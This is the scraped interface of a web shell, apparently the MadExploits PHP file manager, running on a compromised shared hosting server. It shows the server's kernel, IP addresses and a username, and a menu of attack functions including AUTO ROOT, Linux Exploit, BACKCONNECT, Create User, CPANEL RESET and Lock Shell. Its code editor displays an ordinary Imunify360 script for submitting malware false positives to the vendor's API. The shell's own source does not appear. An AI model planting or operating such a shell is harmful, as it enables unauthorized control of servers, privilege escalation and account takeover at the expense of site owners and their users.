Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
imunify360 /
venv /
share /
imunify360 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
migrate_csf
[ DIR ]
drwxr-xr-x
check-detached.py
1.11
KB
-rwxr-xr-x
create_default_config
1.23
KB
-rwxr-xr-x
delay_on_cron_call.py
1.12
KB
-rwxr-xr-x
imunify-disable-cpu-accounting...
1020
B
-rwxr--r--
imunify-doctor.sh
17.29
KB
-rwxr--r--
imunify-force-update.sh
3.41
KB
-rwxr--r--
purge-clamav
535
B
-rwxr-xr-x
send-notifications
7.66
KB
-rwsrwx---
setup_cagefs.py
3.72
KB
-rwx------
track-fpfn-submissions.sh
3.8
KB
-rwxr-xr-x
update_components_versions.py
4.08
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : track-fpfn-submissions.sh
#!/bin/bash #set -x set -euo pipefail print_help () { cat << EOF >&2 Usage: --help Print this message --get Get file submissions Env variables: API_TOKEN - api token from https://cm.imunify.com/#/tokens FILE_HASH - hash of file SERVER_ID - id from /var/imunify360/license.json FILE_PATH - path of file (or part of it) NOTE - note (or part of it) OWNER - owner:group of file (stat -c '%U:%G'). Mandatory value in general SUBMISSION_ID - _id field returned from post/get endpoints HOST - domain name --post Post file submission Env variables: API_TOKEN - api token from https://cm.imunify.com/#/tokens FILE_PATH - path to file NOTE - note (optional) REASON - false_positive or false_negative EOF } check_dependencies() { for bin in jq curl; do if ! command -v "$bin" >/dev/null 2>&1; then echo "Error: required command '$bin' is not installed." >&2 exit 1 fi done } get_submissions() { check_dependencies SUBMISSION_API_BASE="${SUBMISSION_API_BASE:-https://api.imunify360.com}" VERDICTS_MAX="${VERDICTS_MAX:-100}" QUERY_STRING="verdicts_max=${VERDICTS_MAX}" if [ -z "${API_TOKEN:-}" ]; then echo "API_TOKEN is required"; exit 1; fi if [ ! -z "${FILE_HASH:-}" ]; then QUERY_STRING="${QUERY_STRING}&file_hash=${FILE_HASH}"; fi if [ ! -z "${SERVER_ID:-}" ]; then QUERY_STRING="${QUERY_STRING}&server_id=${SERVER_ID}"; fi if [ ! -z "${FILE_PATH:-}" ]; then QUERY_STRING="${QUERY_STRING}&file_path=${FILE_PATH}"; fi if [ ! -z "${NOTE:-}" ]; then QUERY_STRING="${QUERY_STRING}¬e=${NOTE}"; fi if [ ! -z "${OWNER:-}" ]; then QUERY_STRING="${QUERY_STRING}&owner=${OWNER}"; fi if [ ! -z "${SUBMISSION_ID:-}" ]; then QUERY_STRING="${QUERY_STRING}&submission_id=${SUBMISSION_ID}"; fi if [ ! -z "${HOST:-}" ]; then QUERY_STRING="${QUERY_STRING}&hostname=${HOST}"; fi echo "QUERY_STRING=${QUERY_STRING}" curl -s ${SUBMISSION_API_BASE}/api/c-management/file-submission?${QUERY_STRING} -H "X-APIToken: ${API_TOKEN}" | jq } post_submission() { check_dependencies LICENSE_PATH="${LICENSE_PATH:-/var/imunify360/license.json}" IAID_TOKEN_PATH="${IAID_TOKEN_PATH:-/var/imunify360/iaid-token}" if [ -z "${API_TOKEN:-}" ]; then echo "API_TOKEN is required"; exit 1; fi SERVER_ID=$(cat ${LICENSE_PATH} | jq -r .id) if [ -z "${FILE_PATH:-}" ]; then echo "FILE_PATH is required"; exit 1; fi FILE_PATH=$(readlink -f "${FILE_PATH}") if [ ! -f "${FILE_PATH}" ]; then echo "${FILE_PATH} does not exist"; exit 1; fi if [ -z "${REASON:-}" ]; then echo "REASON is required"; exit 1; fi SUBMISSION_API_BASE="${SUBMISSION_API_BASE:-https://api.imunify360.com}" UPLOAD_API_BASE="${UPLOAD_API_BASE:-https://api.imunify360.com}" REQUEST_BODY=$(jq -n \ --arg server_id "$SERVER_ID" \ --arg file_path "$FILE_PATH" \ --arg note "${NOTE:-}" \ --arg reason "$REASON" \ '{server_id: $server_id, file_path: $file_path, note: $note, reason: $reason, should_push_agent: false}') echo "${REQUEST_BODY}" | jq SUBMISSION_CREATE_RESP=$(curl -s ${SUBMISSION_API_BASE}/api/c-management/file-submission -H "X-APIToken: ${API_TOKEN}" -H "Content-Type: application/json" -d "${REQUEST_BODY}" -X POST) echo "${SUBMISSION_CREATE_RESP}" | jq SUBMISSION_ID=$(echo "${SUBMISSION_CREATE_RESP}" | jq -r .result._id) OWNER=$(stat -c '%U:%G' "${FILE_PATH}") UPLOAD_RESP=$(curl ${UPLOAD_API_BASE}/api/v2/upload -F owner="${OWNER}" -F submission_id="${SUBMISSION_ID}" -F file=@"${FILE_PATH}" -H "X-Auth: $(cat ${IAID_TOKEN_PATH})") echo "${UPLOAD_RESP}" | jq } case "${1:-}" in -h|--help) print_help ;; -p|--post) post_submission ;; -g|--get) get_submissions ;; *) print_help ;; esac
Close